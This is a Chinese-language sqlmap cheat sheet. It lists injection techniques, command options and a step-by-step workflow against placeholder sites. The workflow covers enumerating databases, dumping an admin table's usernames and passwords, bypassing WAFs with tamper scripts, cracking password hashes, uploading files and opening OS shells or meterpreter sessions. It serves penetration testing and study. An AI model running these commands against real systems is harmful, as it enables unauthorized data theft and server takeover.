sqlmap实战
sqlmap支持五种不同的注入模式:
基于布尔的盲注:可以根据返回页面判断条件真假的注入;
基于时间的盲注:用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询的注入:可以使用union的情况下的注入;
堆叠查询的注入:可以同时执行多条语句的执行时的注入
常用sqlmap参数:
-D 数据库名 -T 数据库表名 -C 数据库列名 -U 数据库用户名
-D 数据库名 --tables #获取D数据库中所有的表名
-D 数据库名 -T 表名 --columns #获取D数据库中T表里所有的列名
-T 表名 -C username,password --dump #下载T表里username,password列的数据内容
-u #-u=--url=URL ,指定url地址,get请求可以在url加上相关参数
-r #指定加载文件 ,适用于所有的请求和https。 流程是抓包、保存到文件、从文件加载HTTP请求;方便跳过设置一些其他参数(cookie,POST等)
-p #指定用url或文件中的哪个参数做注入参数
-m #读取文件中的url列表以批量测试
--date #post方式传入参数 --date "id=1&co=5"
--dbs #显示所有的数据库
--current-user #获取当前数据库用户
--current-db #获取网站当前数据库
--is-dba #判断当前的用户是否为管理员
--users #获取所有数据库用户
--level #测试的等级(1-5,默1),数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk #测试的风险(0-3,默1),1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
--threads #同时执行测试的线程数
--mobile #模拟测试手机环境站点
--batch -smart #不需要人确定,自动填写yes
--batch -smart #全自动化判断测试,不需要人确定
--os-shell #获取系统交互的shell
--tamper " " #sqlmap绕过waf,需要加载绕过方式脚本,可多个
--passwords #尝试解码出hash密码原文
-v #输出信息级别: 0-6 ,
“0”只显示python错误以及严重的信息;
1同时显示基本信息和警告信息(默认);
“2”同时显示debug信息;
“3”同时显示注入的payload;
“4”同时显示HTTP请求;
“5”同时显示HTTP响应头;
“6”同时显示HTTP响应页面;
如果想看到sqlmap发送的测试payload最好的等级就是3。
--file-read #读取服务器上指定文件内容 --file-read "C:/example.exe"
--file-write #上传本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest #上传到服务器指定目录
一般的SQLMap操作流程:
# 1.通过手工检测的方式,找到合适的注入点
payload:' #返回错误
payload:and 1=1 #返回正常
payload:and 1=2 #返回错误
##满足以上条件即存在注入
# 2.检查注入点:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --level3
# 3.爆所有数据库信息:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --dbs
# 4.爆当前数据库信息,爆当前用户权限。
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --current-db --is-dba
# 5.指定库名列出所有表:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news --tables
# 6.指定库名表名列出所有字段:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news -T admin --column
# 7.指定库名表名字段dump出指定字段:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news -T admin -C name,pswd --dump
# 8.加载脚本绕过防火墙
sqlmap -u "http://xx.com/" --data "word=1&number=5" --tamper randomcase.py
# 9.爆当前的用户名称
sqlmap -u "http://xx.com/" --data "word=1&number=5" --current-user
# 10.爆当前用户密码
sqlmap -u "http://xx.com/" --data "word=1&number=5" --passwods
# 11.连接系统交互shell
sqlmap -u "http://xx.com/" --data "word=1&number=5" --os-shell
常用语句:
# 基础检测语法
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1024
# 批量检测
sqlmap.py -m target.txt
## 注意target.txt跟sqlmap在同一个目录下。
# 获取表中的数据个数
sqlmap.py -u "http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
# 站点爬取
sqlmap.py -u "http://www.secbang.com" --batch --crawl=3
# 使用hex避免字符编码导致数据丢失
sqlmap.py -u "http://www.secbang.com/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
# 模拟测试手机环境站点
python sqlmap.py -u "http://www.secbang.com/vuln.php?id=1" --mobile
# 智能判断测试
sqlmap.py -u "http://www.secbang.com/info.php?id=1" --batch --smart
# 结合burpsuite进行注入
sqlmap.py -r burpsuite 抓包.txt
# sqlmap 自动填写表单注入
sqlmap.py -u URL --forms
# 执行shell命令
sqlmap.py -u "url" --os-cmd="ls" #执行net user命令
sqlmap.py -u "url" --os-shell #系统交互的shell
# 延时注入
sqlmap --dbs -u "url" --delay 0.5 #延时0.5秒*/
sqlmap --dbs -u "url" --safe-freq #请求2次*/
实用技巧:
--technique=TECH SQL注入技术测试(默认BEUST)
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
--union-cols=UCOLS 定列范围用于测试UNION查询注入
--union-char=UCHAR 暴力猜测列的字符数
--union-from=UFROM SQL注入UNION查询使用的格式
--dns-domain=DNS.. DNS泄露攻击使用的域名
--second-order=S.. URL搜索产生的结果页面
枚举信息:
-a, –all 获取所有信息
-b, –banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
操作系统访问:
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表项值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表项值类型
优化功能:
-o 打开所有的优化开关
--predict-output 预测普通查询输出
--keep-alive 使用持久HTTP(S)连接
--null-connection 获取页面长度
--threads=THREADS 当前http(s)最大请求数 (默认 1)
指定注入:
-p TESTPARAMETER 可测试的参数
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过测试不显示为动态的参数
--param-exclude=.. 使用正则表达式排除参数进行测试(e.g. “ses”)
--dbms=DBMS 强制后端的DBMS为此值
--dbms-cred=DBMS.. DBMS认证凭证(user:password)
--os=OS 强制后端的DBMS操作系统为这个值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷铸造机制
--no-escape 关闭字符串逃逸机制
--prefix=PREFIX 注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀
--tamper=TAMPER 使用给定的脚本篡改注入数据